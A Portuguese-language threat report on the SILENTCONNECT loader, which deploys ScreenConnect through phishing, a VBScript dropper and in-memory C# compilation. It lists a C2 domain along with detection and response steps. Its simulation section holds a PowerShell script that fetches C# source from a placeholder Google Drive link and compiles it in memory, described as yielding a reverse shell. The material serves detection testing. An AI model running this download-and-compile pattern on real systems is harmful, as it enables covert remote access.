Da Convite à Infecção: Como o SILENTCONNECT Usa o ScreenConnect

Resumo

O relatório descreve um carregador multiestágio chamado SILENTCONNECT que depende de um dropper VBScript, compilação em memória de código C# no PowerShell e mascaramento de PEB para implantar silenciosamente a ferramenta de gerenciamento remoto ConnectWise ScreenConnect. O ataque começa com um e-mail de phishing que leva as vítimas a uma página CAPTCHA do Cloudflare Turnstile antes de servir a carga útil do VBScript. Esse script recupera um componente C# do Google Drive, compila-o em memória e, em seguida, baixa um MSI do ScreenConnect de um domínio malicioso para estabelecer persistência como um serviço do Windows. A campanha mistura serviços de hospedagem confiáveis com binários de vida própria para reduzir a pegada de detecção.

Investigação

Os Elastic Security Labs identificaram uma cadeia de alertas incomuns de script do Windows que, por fim, expuseram o arquivo E-INVITE.vbs hospedado no Cloudflare R2. A análise mostrou o script lançando um comando PowerShell que chamou o curl.exe para buscar um arquivo fonte C# do Google Drive, que foi então compilado e executado diretamente em memória. O carregador usou NtAllocateVirtualMemory para reservar memória executável, aplicou mascaramento de PEB e inseriu uma exclusão do Windows Defender antes de baixar o instalador do ScreenConnect com curl e executá-lo através do msiexec. A telemetria de rede revelou que o cliente implantado chegou a um endpoint C2 em bumptobabeco.top sobre a porta TCP 8041.

Mitigação

As equipes de segurança devem monitorar linhas de comando do PowerShell suspeitas que invoquem curl.exe, criação de pastas temporárias em C:Temp e compilação Add-Type incomum de código fonte C# baixado. A lógica de detecção deve também considerar o mascaramento de PEB sinalizando processos cujos valores de BaseDLLName ou FullDllName não coincidem com o caminho real do módulo. O tráfego de saída para domínios desconhecidos que hospedam instaladores MSI deve ser bloqueado ou fortemente examinado, e a execução do msiexec deve ser estritamente controlada para fontes não confiáveis. As exclusões do Windows Defender devem ser aplicadas apenas através de fluxos de trabalho administrativos aprovados.

Resposta

Se esses indicadores forem observados, isole imediatamente o host afetado, mate o processo malicioso e remova o serviço ScreenConnect instalado. Colete evidências forenses, incluindo arquivos temporários, o assembly .NET compilado e quaisquer pacotes MSI baixados. Reverta quaisquer exclusões não autorizadas do Windows Defender e restaure as configurações de UAC se elas tiverem sido alteradas. Em seguida, faça a caça em todo o ambiente para artefatos de carregador correspondentes e atualize o conteúdo de detecção com todos os IOCs recém-identificados.

Execução de Simulação

Pré-requisito: O Cheque Pré-voo de Telemetria & Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errados.

• Narrativa de Ataque & Comandos:

  1. Recon Inicial & Recuperação de Payload – O atacante hospeda um arquivo fonte C# malicioso no Google Drive. Usando PowerShell, eles baixam o arquivo bruto via Invoke-WebRequest.
  2. Compilação em Memória – O código fonte C# baixado é compilado diretamente em memória com Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Execução – O tipo .NET resultante é instanciado e seu Run() método é invocado, estabelecendo um shell reverso.
  4. Ofuscação – A linha de comando é lançada com -ExecutionPolicy Bypass para evitar bloqueios de política, correspondendo exatamente às strings que a regra monitora.

• Script de Teste de Regressão:

  # -------------------------------------------------
  # Script de adversário simulado – aciona a regra Sigma
  # -------------------------------------------------
  # 1. Defina o URL de payload C# remoto (link de compartilhamento do Google Drive)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Baixe a fonte C# para uma variável
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Compile e carregue o payload em memória
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Execute o payload (assume classe chamada "Payload" com método estático "Run")
  # -------------------------------------------------

• Comandos de Limpeza:

  # Remova quaisquer arquivos temporários (nenhum criado) e descarregue o assembly em memória
  # PowerShell não fornece um descarregamento direto; termine o processo se necessário
  Stop-Process -Id $PID -Force